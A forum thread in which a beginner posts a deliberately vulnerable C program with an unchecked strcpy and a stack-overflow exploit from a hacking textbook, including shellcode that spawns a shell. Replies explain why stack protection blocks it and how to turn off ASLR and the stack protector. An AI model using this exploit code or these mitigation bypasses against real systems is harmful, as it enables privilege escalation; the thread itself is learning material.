*** stack smashing detected ***

Hi,

I'm trying to learn som C programming from this "Hacking" book by Jon Erickson and this code is taken from that book.

Both programs compile error-free and there are no other problems.
They are compiled with Gcc 4.1.2 on Ubuntu 4.1.1 (if it should matter.)

The problem is when i try to run exploit. I get this message:

Stack pointer (ESP) : 0xbf963908
Offset from ESP : 0x0
Desired return addr; 0xbf963908
*** stack smashing detected ***: vuln terminated
Aborted



vuln.c:

Code:

int main(int argc, char *argv[])
{
	char buffer[500];
	strcpy(buffer, argv[1]);
	return 0;
}

exploit.c

Code:

#include <stdlib.h>



char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
		   "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
		   "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x72"
		   "\x68";

unsigned long sp(void)
{__asm__("mov %esp, %eax");}

int main(int argc, char *argv[])
{
	int i, offset;
	long esp, ret, *addr_ptr;
	char *buffer, *ptr;

	offset = 0;
	esp = sp();
	ret = esp -offset;

	printf("Stack pointer (ESP) : 0x%x\n", esp);
	printf("     Offset from ESP : 0x%x\n", offset);
	printf("Desired return addr: 0x%x\n", ret);

	buffer = malloc(600);

	ptr = buffer;
	
	addr_ptr = (long *) ptr;
	for (i=0; i < 600; i+=4)
		{ *(addr_ptr++) = ret; }

	for (i=0; i < 200; i++)
	
	{buffer[i] = '\x90'; }
		
	
	ptr = buffer + 200;
	for(i=0; i < strlen(shellcode); i++)
	{ *(ptr++) = shellcode[i]; }

	buffer[600-1] = 0;

	execl("./vuln","vuln", buffer, 0);

	
	free(buffer);

	return(0);

}

I'm just a beginner to C soo i would appreciate any comments.

- Martin

Imagine that! The security features of Ubuntu are working properly to prevent this silly exploit from working! It's just UNBELIEVABLE!

I guess it's just a silly exploit, but that's not the point.

So you are saying it's a security feature in ubuntu...thanks for that.

- Martin

Yeh Ubuntu is quite good in that respect. I've never seen the exact message you get, but I know that Ubuntu randomizes the location of the stack making it very hard for buffer overflows to be successful

Edit:
Its called the linux VA patch
try this:
echo 0 > /proc/sys/kernel/randomize_va_space

just try this exploit running on windows and it will work =). I tried to compile the code with Bloodshed GCC and all worked fine.

Originally Posted by isam2k

just try this exploit running on windows and it will work =). I tried to compile the code with Bloodshed GCC and all worked fine.

Interesting - last time I checked, INT 0x80 wasn't really doing Linux style system calls when performed in Windows...

--
Mats

Nice! try running with the gcc option -fno-stack-protector, then you will see a seg fault of sorts with this code.

Originally Posted by Martin_HS

Hi,

I'm trying to learn som C programming from this "Hacking" book by Jon Erickson and this code is taken from that book.

That is a terrific and really well written book. I started learning C with that book, altho I still haven't finished it. Is that from chapter 3?

I didn't like using the cd either so I just compiled that version of gcc from source and called it "gcc336"*; I think that anti-smashing protection will only work with gcc 4+, so you should be able to do all the experiments. Also, all the gdb output will be identical to his, which makes stuff easier to follow than if you use a different compiler version.

*so rather than "gcc myprog.c" you'd use "gcc336 myprog.c"

Also,


http://cboard.cprogramming.com/c-pro...ected-***.html

Yesterday i got the same message
Not too rarely finally.

Ubuntu 8.10